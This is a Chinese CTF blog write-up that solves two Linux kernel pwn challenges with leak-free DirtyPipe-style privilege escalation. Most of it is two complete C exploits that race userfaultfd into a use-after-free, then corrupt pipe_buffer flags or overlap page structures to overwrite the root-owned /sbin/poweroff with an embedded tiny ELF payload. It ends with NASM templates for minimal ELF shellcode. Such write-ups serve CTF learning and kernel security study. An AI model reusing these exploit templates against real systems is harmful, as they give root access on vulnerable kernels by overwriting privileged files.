从两道kernelpwn题了解Dirtypipe零泄露提权的两种方法

0rb1t Lv2

0x00.前言

前几天,我从SCTF的kno_pus_revenge了解到了Dirtypipe的打法,觉得很奇妙,于是对Dirtypipe的来源进行了一系列的分析(

[分析文章]: http://www.0rb1t.top/2024/10/04/CVE-2022-0847-DirtyPipe%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%8F%8A%E5%85%B6%E5%BB%B6%E7%94%B3%E5%88%A9%E7%94%A8%E6%89%8B%E6%B3%95%E7%A0%94%E7%A9%B6/ “分析文章”

)。

明白其中原理之后,便可以通过零泄露的方式 ,拿下以下两道kernelpwn题。这种手法最巧妙的地方是不需要泄露任何地址,使用模板就可以通用于大部分0x400堆uaf题。

0x01.CISCN_2022_西南_cactus

函数分析

ida打开test.ko,可以看到fops定义了read、write、open、ioctl四个file函数。

image-20241012104953295

module_open函数会申请一个0x100大小的buffer。

image-20241012105655979

其中module_read和module_write都可往buffer中读和写不超过0x100个字节的数据,并都未进行上锁操作。

image-20241012105131697

image-20241012105251034

release函数则会进行buffer的释放和清空

image-20241012105548613

因为module_open有对flag的check操作,所以我们不能同时open两次设备来构造uaf,并且由于module_release在调用前会等待module_read、module_write操作完毕,所以没法利用userfaultfd机制构造uaf。

以上这部分函数暂且抛弃。

module_ioctl函数则基于指令0x20、0x30、0x50,进行操作。

0x20指令申请0x400大小的堆块

image-20241012110150803

0x30指令释放该堆块

image-20241012110114135

0x50指令修改该堆块

image-20241012110230438

以上操作都会基于edit_args结构体进行传参。

image-20241012104833588

可以注意到,以上流程都是未加锁的,这就导致了可利用userfaultfd机制

进行条件竞争构造uaf,userfaultfd机制这里就不过多阐述。

漏洞利用

先前分析CVE Dirtypipe的文章中我有提到,当使用userfaultfd机制构造uaf时,是几乎可以从堆块的任意位置开始覆盖的。

再重温一遍构造手法:

  1. 先mmap申请两个连续的0x1000的内存,并让addr2在uffd_buf_hack前面,此时只初始化addr2+0xff0(即uffd_buf_hack-0x10)的数据,uffd_buf_hack仍然是缺页的。
    image-20241011140602169

  2. 倘若我们想要在0x28的偏移处写入1个字节的数据,就可以在write时设置buf为uffd_buf_hack-0x28

    image-20241011140935379

  3. 之后内核在执行copy_from_user时,前面0x28个字节都是正常拷贝的,当到了0x29字节时,试图从uffd_buf_hack拷贝数据,从而触发缺页异常,然后我们free掉原有堆块,pipe申请新堆块,此时继续缺页拷贝,就会只覆盖0x28偏移的数据。

因此我们可以在触发缺页异常之后free掉该堆块,并创建一个pipe,然后往pipe中写入内容从而利用pipe_buffer的alloc申请回我们free掉的堆块。这里我们将16个pipe_buffer都写满并读出,这样就可以将head和tail都变为0。(相当于循环队列绕了一圈回到原点)

image-20241012111612219

然后我们打开想要修改的特权只读文件,这里我们选择poweroff文件。再而调用splice将poweroff文件的page放入到pipe名下。

image-20241012112116412

然后我们再回到缺页处理程序,将堆块的0x18(flags位)修改为0x10(PIPE_BUF_FLAG_CAN_MERGE)。

image-20241012112640055

这个时候调用write对pipe进行写入,pipe_write进行处理的时候发现head_pipe_buffer有PIPE_BUF_FLAG_CAN_MERGE标志,认为该page可写入,就会将数据写到poweroff文件的page中,从而修改文件内容。

image-20241012113016885

这里需要注意,splice至少需要pipe读取file一个字节,所以在放入page时,会将offset设置至少为1,之后再去写入时也至少得从偏移1开始写,当然也可以通过修改loff_in往1之后的任意偏移写入数据。

以此我们成功修改了poweroff文件,执行命令exit后,init文件默认以root权限执行poweroff文件从而实现提权。

image-20241012115149120

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <ctype.h>
#include <sys/ioctl.h>
#include <signal.h>
#include <sys/prctl.h>
#include <syscall.h>
#include <pthread.h>
#include <poll.h>
#include <sys/mman.h>
#include <linux/types.h>
#include <linux/userfaultfd.h>
#include <sys/msg.h>
#include <semaphore.h>
#include <string.h>
#include <stdint.h>
#define MSG_COPY 040000

#define _QWORD unsigned long
#define _DWORD unsigned int
#define _WORD unsigned short
#define _BYTE unsigned char
#define ULL unsigned long long
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define YELLOW printf("\033[33m");
#define PURPLE printf("\033[35m");


void block() {
static int cnt = 0;
RED printf("Block %d", cnt++); CLOSE;
getchar();
}

void binary_dump(char* buf, size_t size, long long base_addr = 0) {
printf("\033[33mDump:\n\033[0m");
char* ptr;
for (int i = 0; i < size / 0x20; i++) {
ptr = buf + i * 0x20;
printf("0x%016llx: ", base_addr + i * 0x20);
for (int j = 0; j < 4; j++) {
printf("0x%016llx ", *(long long*)(ptr + 8 * j));
}
printf(" ");
for (int j = 0; j < 0x20; j++) {
printf("%c", isprint(ptr[j]) ? ptr[j] : '.');
}
putchar('\n');
}
if (size % 0x20 != 0) {
int k = size - size % 0x20;
printf("0x%016llx: ", base_addr + k);
ptr = buf + k;
for (int i = 0; i <= (size - k) / 8; i++) {
printf("0x%016llx ", *(long long*)(ptr + 8 * i));
}
for (int i = 0; i < 3 - (size - k) / 8; i++) {
printf("%19c", ' ');
}
printf(" ");
for (int j = 0; j < size - k; j++) {
printf("%c", isprint(ptr[j]) ? ptr[j] : '.');
}
putchar('\n');
}
}
unsigned long long user_sp, user_cs, user_ss, user_rflags, user_rip;
unsigned long long kernel_base = 0, heap = 0;

void get_shell() {
printf("\033[35mGetShell Success!\033[0m\n");
system("/bin/sh");
return;
}

void save_user_land() {
__asm__(
".intel_syntax noprefix;"
"mov user_cs,cs;"
"mov user_sp,rsp;"
"mov user_ss,ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
user_rip = (unsigned long long)get_shell;
puts("\033[34mUser land saved.\033[0m");
printf("\033[34muser_ss:0x%llx\033[0m\n", user_ss);
printf("\033[34muser_sp:0x%llx\033[0m\n", user_sp);
printf("\033[34muser_rflags:0x%llx\033[0m\n", user_rflags);
printf("\033[34muser_cs:0x%llx\033[0m\n", user_cs);
printf("\033[34muser_rip:0x%llx\033[0m\n", user_rip);
}

struct edit_args {
unsigned long idx;
unsigned long size;
char* buf;
};

void add(char* buf, int fd) {
struct edit_args data = { 0 };
data.size = (ULL)buf;
ioctl(fd, 0x20, &data);
}

void dele(int idx, int fd) {
struct edit_args data = { 0 };
data.idx = idx;
ioctl(fd, 0x30, &data);
}

void edit(int idx, int size, char* buf, int fd) {
struct edit_args data = { 0 };
data.idx = idx;
data.size = size;
data.buf = buf;
ioctl(fd, 0x50, &data);
}


sem_t sem1, sem2, sem3, sem4;


void RegisterUserfault(void* start, int len, void* handler) {
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
uffdio_register ur = { 0 };
uffdio_api ua = { 0 };
ur.range.start = (ULL)start;
ur.range.len = len;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
perror("ioctl-UFFDIO_API");
ioctl(uffd, UFFDIO_REGISTER, &ur);
pthread_t pt;
pthread_create(&pt, NULL, (void* (*)(void*))handler, (void*)uffd);
}
void UserfaultHandler(int uffd) {
uffd_msg msg;
uffdio_copy uc = { 0 };
unsigned long* data = (unsigned long*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
data[0] = 0x10;
for (;;) {
pollfd pf = { 0 };
pf.fd = uffd;
pf.events = POLLIN;
poll(&pf, 1, -1);
read(uffd, &msg, sizeof(msg));
if (msg.event <= 0) {
puts("Pass one event.");
continue;
}
RED printf("Stage 1."); CLOSE;
sem_post(&sem1);
sem_wait(&sem2);
RED printf("Stage 2."); CLOSE;
uc.src = (ULL)data;
uc.dst = msg.arg.pagefault.address & ~(getpagesize() - 1);
uc.len = getpagesize();
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
sem_post(&sem3);
break;
}
}


int pipefd[2],ffd;
void* mb = malloc(0x1000);
void UAF(int fd) {
sem_wait(&sem1);
YELLOW printf("UAF get."); CLOSE;
dele(0, fd);
if (pipe(pipefd) == -1) {
perror("Pipe.");
}
char buf[0x1000] = "0rb1t123";
for (int i = 0; i < 16; i++) {
write(pipefd[1], buf, 0x1000);
read(pipefd[0], buf, 0x1000);
}
ffd = open("/sbin/poweroff", O_RDONLY);
if (ffd < 0) {
perror("poweroff open");
}
size_t loff_in = 0;
if (splice(ffd, (loff_t*) & loff_in, pipefd[1], NULL, 1, 0) < 0) {
perror("splice");
}
sem_post(&sem2);
}


int main() {
signal(SIGSEGV, (sighandler_t)get_shell);
save_user_land();
sem_init(&sem1, 0, 0);
sem_init(&sem2, 0, 0);
sem_init(&sem3, 0, 0);
int fd = open("/dev/kernelpwn", O_RDWR);
void *map = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
void *prev_map = mmap(map-0x1000, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
*((char*)map - 0x10) = 0;
RegisterUserfault(map, 0x1000, (void*)UserfaultHandler);
pthread_t pt;
pthread_create(&pt, NULL, (void* (*)(void*))UAF, (void*)fd);
add("0rb1t", fd);
edit(0, 0x1c, (char*)map-0x18, fd);
sem_wait(&sem3);
unsigned char orw_elfcode[] = { 0x7f,0x45,0x4c,0x46,0x2,0x1,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x2,0x0,0x3e,0x0,0x1,0x0,0x0,0x0,0x78,0x0,0x40,0x0,0x0,0x0,0x0,0x0,0x40,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x40,0x0,0x38,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x5,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x40,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x40,0x0,0x0,0x0,0x0,0x0,0xb7,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xb7,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x10,0x0,0x0,0x0,0x0,0x0,0x0,0x48,0xbf,0x2f,0x66,0x6c,0x61,0x67,0x0,0x0,0x0,0x57,0x48,0x89,0xe7,0x48,0x31,0xf6,0x48,0x31,0xd2,0xb8,0x2,0x0,0x0,0x0,0xf,0x5,0x48,0x89,0xc7,0x48,0x89,0xe6,0xba,0x0,0x1,0x0,0x0,0x48,0x31,0xc0,0xf,0x5,0xbf,0x1,0x0,0x0,0x0,0x48,0x89,0xe6,0xba,0x0,0x1,0x0,0x0,0xb8,0x1,0x0,0x0,0x0,0xf,0x5 };
write(pipefd[1], orw_elfcode+1, sizeof(orw_elfcode)-1);
RED printf("End."); CLOSE;
return 0;
}

0x02.SCTF_2024_kno_puts

函数分析

ida打开ko文件,查看fops可以看到有open、write、ioctl的file函数

image-20241012113952246

module_open函数啥也没干

image-20241012114138396

module_write函数可以往ptr中写入不大于0x2e0大小的数据,且未上锁。

image-20241012114206014

module_ioctl函数开头会有一个key的check。

开始读入0x20字节的随机值s2,然后将用户输入copy到v9再到s1中与s2比较,将比较结果存储到v8,其中v8由v10初始化。

img

img

爆破肯定是行不通的,可以看到这里读入读取了0x30个字节到v9,而v9只有0x20的大小,所以会溢出淹到v10,从而将v8初始化为1绕过检查。

0xFFF0指令申请得到0x400的堆,并将堆地址返回给用户。

img

0xFFF1指令释放申请的堆,且机会只有一次。

img

这里泄露的堆地址,但是对于我们Dirtypipe打法,这样的泄露都是多余的。

漏洞利用

还是老规矩,userfaultfd构造uaf,过程这里就不再描述了。

这次的打法会和先前不大一样,原因在于linux内核版本,5.4的内核不是使用PIPE_BUF_FLAG_CAN_MERGE标志进行写入check,而是检查的fops。

image-20241012115421151

image-20241012120026578

基于此,我们不能通过修改flags来写入page,转而构造puaf(page uaf)劫持file page。

通过分析我们可以知道struct page的大小为0x40,这很完美,因为每4个page结构体刚好大小为0x100。

这就意味着当喷射了大量的page结构体,如果我们只需要覆盖pipe_buffer的page结构体指针的首字节为0、0x40、0x80、0xc0中的某一个,就可以有3/4的概率让该page指向其他page,从而实现puaf。

步骤如下:

  1. 先创建pipe并调用write申请pipe_buffer从而喷射大量page,同时write也会写入我们的特征字符串,从而方便后续check。然后释放我们的堆块,再喷射大量page,此时我们堆块被复用,(多写入一个特征字符”0rb1t123”是为了防止page被提前释放)。image-20241012121417736

  2. 再回到缺页异常处理程序,修改堆覆盖page首字节为0,从而构造page重合。

  3. 此时我们需要进行check,通过特征字符串查找是哪两个page重合。当”0rb1t123”正常并且索引k异常时,就代表i和k两个pipe的page重合了。

    image-20241012122254819

  4. 前面我们已经写入0x14个字节了,这里我们再写入0x30个字节,让pipes[pn]的pipe_buffer->offset为0x44,后续写入就是从0x44开始写。然后我们关闭pipes[k],把page释放,此时就会构成puaf。

接下来就是puaf的利用了,我们知道在打开文件时,会从调用__alloc_file从filp_cachep申请堆块作为file结构体。

image-20241012123408762

而当filp_cachep中的堆块被使用完之后,内核会从伙伴系统申请新的page作为新的堆块,这就意味着我们可以利用堆喷来实现让file的page与pipe_buffer的page重合,然后利用pipe_write修改file结构体的内容。

file结构体大致如下,其中f_mode(偏移0x44)表示文件打开模式,而我们的目标就是它。

image-20241012123933899

我们大量打开poweroff文件,然后通过write修改文件结构体的f_mode为可写模式。

image-20241012124046166

最后修改文件即可。

image-20241012124225037

但是这种puaf的打法极其不稳定,因为程序执行结束,pipe会自动关闭,这就意味着page会被double free,系统很容易触发崩溃。

不过多跑几次还是能出结果的

image-20241012124840932

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <ctype.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/signal.h>
#include <string.h>
#include <semaphore.h>
#include <syscall.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>

#define _QWORD unsigned long
#define _DWORD unsigned int
#define _WORD unsigned short
#define _BYTE unsigned char
#define ULL unsigned long long
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define YELLOW printf("\033[33m");
#define PURPLE printf("\033[35m");

void block() {
static int cnt = 0;
RED printf("Block %d", cnt++); CLOSE;
getchar();
}

void binary_dump(char* buf, size_t size, long long base_addr = 0) {
printf("\033[33mDump:\n\033[0m");
char* ptr;
for (int i = 0; i < size / 0x20; i++) {
ptr = buf + i * 0x20;
printf("0x%016llx: ", base_addr + i * 0x20);
for (int j = 0; j < 4; j++) {
printf("0x%016llx ", *(long long*)(ptr + 8 * j));
}
printf(" ");
for (int j = 0; j < 0x20; j++) {
printf("%c", isprint(ptr[j]) ? ptr[j] : '.');
}
putchar('\n');
}
if (size % 0x20 != 0) {
int k = size - size % 0x20;
printf("0x%016llx: ", base_addr + k);
ptr = buf + k;
for (int i = 0; i <= (size - k) / 8; i++) {
printf("0x%016llx ", *(long long*)(ptr + 8 * i));
}
for (int i = 0; i < 3 - (size - k) / 8; i++) {
printf("%19c", ' ');
}
printf(" ");
for (int j = 0; j < size - k; j++) {
printf("%c", isprint(ptr[j]) ? ptr[j] : '.');
}
putchar('\n');
}
}

unsigned long long user_sp, user_cs, user_ss, user_rflags, user_rip;

void get_shell() {
printf("\033[35mGetShell Success!\033[0m\n");
system("/bin/sh");
return;
}

void save_user_land() {
__asm__(
".intel_syntax noprefix;"
"mov user_cs,cs;"
"mov user_sp,rsp;"
"mov user_ss,ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
user_rip = (unsigned long long)get_shell;
puts("\033[34mUser land saved.\033[0m");
printf("\033[34muser_ss:0x%llx\033[0m\n", user_ss);
printf("\033[34muser_sp:0x%llx\033[0m\n", user_sp);
printf("\033[34muser_rflags:0x%llx\033[0m\n", user_rflags);
printf("\033[34muser_cs:0x%llx\033[0m\n", user_cs);
printf("\033[34muser_rip:0x%llx\033[0m\n", user_rip);
}



char buf[0x400], key[0x30];
int spray[0x20], pipes[0x40][2];
int fd, pn, ffd[0x200];
long save_pkr_not_offset = 0x112e3c4, save_cc_not_offset = 0x1124af0;
long kernel_entry = 0xfffffe0000000000, kernel_base, ko_save_addr, need_kernel_addr, ko_addr, ptr;
sem_t sem1, sem2, sem3;

void RegisterUserfault(void* start, int len, void* handler) {
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
uffdio_register ur = { 0 };
uffdio_api ua = { 0 };
ur.range.start = (ULL)start;
ur.range.len = len;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
perror("[-] ioctl-UFFDIO_API");
ioctl(uffd, UFFDIO_REGISTER, &ur);
pthread_t pt;
pthread_create(&pt, NULL, (void* (*)(void*))handler, (void*)uffd);
}

void UserfaultHandler(int uffd) {
uffd_msg msg;
uffdio_copy uc = { 0 };
unsigned long* data = (unsigned long*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
int idx = 0x10;
for (;;) {
pollfd pf = { 0 };
pf.fd = uffd;
pf.events = POLLIN;
poll(&pf, 1, -1);
read(uffd, &msg, sizeof(msg));
if (msg.event <= 0) {
printf("Pass one event.");
continue;
}
data[0] = 0;//struct page* page
RED printf("Stage 1."); CLOSE;
sem_post(&sem1);
sem_wait(&sem2);
RED printf("Stage 2."); CLOSE;
uc.src = (ULL)data;
uc.dst = msg.arg.pagefault.address & ~(getpagesize() - 1);
uc.len = getpagesize();
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
sem_post(&sem3);
break;
}
}

void UAF() {
sem_wait(&sem1);
*(long*)&key[0x58 - 0x30] = 0;
for (int i = 0; i < 0x20; i++) {
if (pipe(pipes[i])) {
perror("pipe");
}
write(pipes[i][1], "0rb1t123", 8);
write(pipes[i][1], &i, 4);
write(pipes[i][1], "0rb1t123", 8);
}
ioctl(fd, 0xFFF1, key);//free
for (int i = 0x20; i < 0x40; i++) {
if (pipe(pipes[i])) {
perror("pipe");
}
write(pipes[i][1], "0rb1t123", 8);
write(pipes[i][1], &i, 4);
write(pipes[i][1], "0rb1t123", 8);
}
sem_post(&sem2);
}


int main() {
save_user_land();
fd = open("/dev/ksctf", O_RDWR);
signal(SIGSEGV, (sighandler_t)get_shell);
sem_init(&sem1, 0, 0);
sem_init(&sem2, 0, 0);
sem_init(&sem3, 0, 0);
key[0x58 - 0x38] = 1;
*(long*)&key[0x58 - 0x30] = (long)buf;
void* map = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
RegisterUserfault(map, 0x1000, (void*)UserfaultHandler);
pthread_t pt;
pthread_create(&pt, NULL, (void* (*)(void*))UAF, NULL);
ioctl(fd, 0xFFF0, key);
ptr = *(long*)buf;
YELLOW printf("ptr: 0x%lx", ptr); CLOSE;
write(fd, map, 1);
sem_wait(&sem3);
for (int i = 0; i < 0x40; i++) {
char kbuf[0x100] = { 0 };
int k = -1;
if (read(pipes[i][0], kbuf, 8) < 0 || read(pipes[i][0], &k, 4) < 0) {
perror("pipe_read");
}
if (!strcmp(kbuf, "0rb1t123") && k != i) {
GREEN printf("Found page."); CLOSE;
pn = i;
write(pipes[i][1], kbuf, 0x30);
close(pipes[k][0]);
close(pipes[k][1]);
break;
}
}

for (int i = 0; i < 0x200; i++) {
ffd[i] = open("/sbin/poweroff", O_RDONLY);
if (ffd[i] < 0) {
perror("poweroff fd");
}
}
int flags = 0x480e801f;
write(pipes[pn][1], &flags, 4);
unsigned char orw_elfcode[] = { 0x7f,0x45,0x4c,0x46,0x2,0x1,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x2,0x0,0x3e,0x0,0x1,0x0,0x0,0x0,0x78,0x0,0x40,0x0,0x0,0x0,0x0,0x0,0x40,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x40,0x0,0x38,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x5,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x40,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x40,0x0,0x0,0x0,0x0,0x0,0xb7,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xb7,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x10,0x0,0x0,0x0,0x0,0x0,0x0,0x48,0xbf,0x2f,0x66,0x6c,0x61,0x67,0x0,0x0,0x0,0x57,0x48,0x89,0xe7,0x48,0x31,0xf6,0x48,0x31,0xd2,0xb8,0x2,0x0,0x0,0x0,0xf,0x5,0x48,0x89,0xc7,0x48,0x89,0xe6,0xba,0x0,0x1,0x0,0x0,0x48,0x31,0xc0,0xf,0x5,0xbf,0x1,0x0,0x0,0x0,0x48,0x89,0xe6,0xba,0x0,0x1,0x0,0x0,0xb8,0x1,0x0,0x0,0x0,0xf,0x5 };
for (int i = 0; i < 0x200; i++) {
if (write(ffd[i], orw_elfcode, sizeof(orw_elfcode)) > 0) {
PURPLE printf("Success change!!!"); CLOSE;
break;
}
}
for (int i = 0; i < 0x200; i++) {
close(ffd[i]);
}
RED printf("End."); CLOSE;
return 0;
}

0x03.总结

Dirtypipe起源于CVE,但不止步于CVE,它的奇妙延申利用手法让堆利用变得更加简单方便。特别是它的零泄露特性,让打法更加通用,不需要再去寻找gadget,构造rop,而是直白的修改文件实现提权。

当然Dirtypipe也有一些限制,例如稳定的flags修改提权需要特定的linux版本,而puaf打法又并不稳定(除非能修复pipe_buffer的page变回原page),且只适用于0x400堆

总的来说,这样针对文件内容修改的打法给予了我很大启发,给我提供了新的思路,实在是妙不可言。

0x04.小trick

可以使用以下方式生成elf_shellcode,感受文件体积极致压缩的魅力。

64位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
; 执行nasm -f bin -o tiny64 tiny64.asm
BITS 64
org 0x400000

ehdr: ; Elf64_Ehdr
db 0x7f, "ELF", 2, 1, 1, 0 ; e_ident
times 8 db 0
dw 2 ; e_type
dw 0x3e ; e_machine
dd 1 ; e_version
dq _start ; e_entry
dq phdr - $$ ; e_phoff
dq 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
ehdrsize equ $ - ehdr

phdr: ; Elf64_Phdr
dd 1 ; p_type
dd 5 ; p_flags
dq 0 ; p_offset
dq $$ ; p_vaddr
dq $$ ; p_paddr
dq filesize ; p_filesz
dq filesize ; p_memsz
dq 0x1000 ; p_align
phdrsize equ $ - phdr

section .data
sh db '/flag',0

section .text
_start:
mov rdi,sh
xor rsi,rsi
xor rdx,rdx
mov rax,2
syscall
mov rdi,3
mov rsi,sh
mov rdx,0x100
xor rax,rax
syscall
mov rdi,1
mov rsi,sh
mov rdx,0x100
mov rax,1
syscall

filesize equ $ - $$

32位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
; 执行nasm -f bin -o tiny32 tiny32.asm
BITS 32
                org     0x08048000
 
ehdr:                                                   ; Elf32_Ehdr
                db      0x7F, "ELF", 1, 1, 1, 0         ;   e_ident
        times 8 db      0
                dw      2                               ;   e_type
                dw      3                               ;   e_machine
                dd      1                               ;   e_version
                dd      _start                          ;   e_entry
                dd      phdr - $$                       ;   e_phoff
                dd      0                               ;   e_shoff
                dd      0                               ;   e_flags
                dw      ehdrsize                        ;   e_ehsize
                dw      phdrsize                        ;   e_phentsize
                dw      1                               ;   e_phnum
                dw      0                               ;   e_shentsize
                dw      0                               ;   e_shnum
                dw      0                               ;   e_shstrndx
 
  ehdrsize      equ     $ - ehdr
 
phdr:                                                   ; Elf32_Phdr
                dd      1                               ;   p_type
                dd      0                               ;   p_offset
                dd      $$                              ;   p_vaddr
                dd      $$                              ;   p_paddr
                dd      filesize                        ;   p_filesz
                dd      filesize                        ;   p_memsz
                dd      5                               ;   p_flags
                dd      0x1000                          ;   p_align
 
  phdrsize      equ     $ - phdr
 
_start:
  mov al, 1     ; sys_exit
  mov bl, 42    ; int status
  int 0x80
 
filesize      equ     $ - $$
  • Title: 从两道kernelpwn题了解Dirtypipe零泄露提权的两种方法
  • Author: 0rb1t
  • Created at : 2024-10-12 10:27:53
  • Updated at : 2024-11-19 22:16:02
  • Link: https://redefine.ohevan.com/2024/10/12/从两道kernelpwn题了解Dirtypipe零泄露提权的两种方法/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments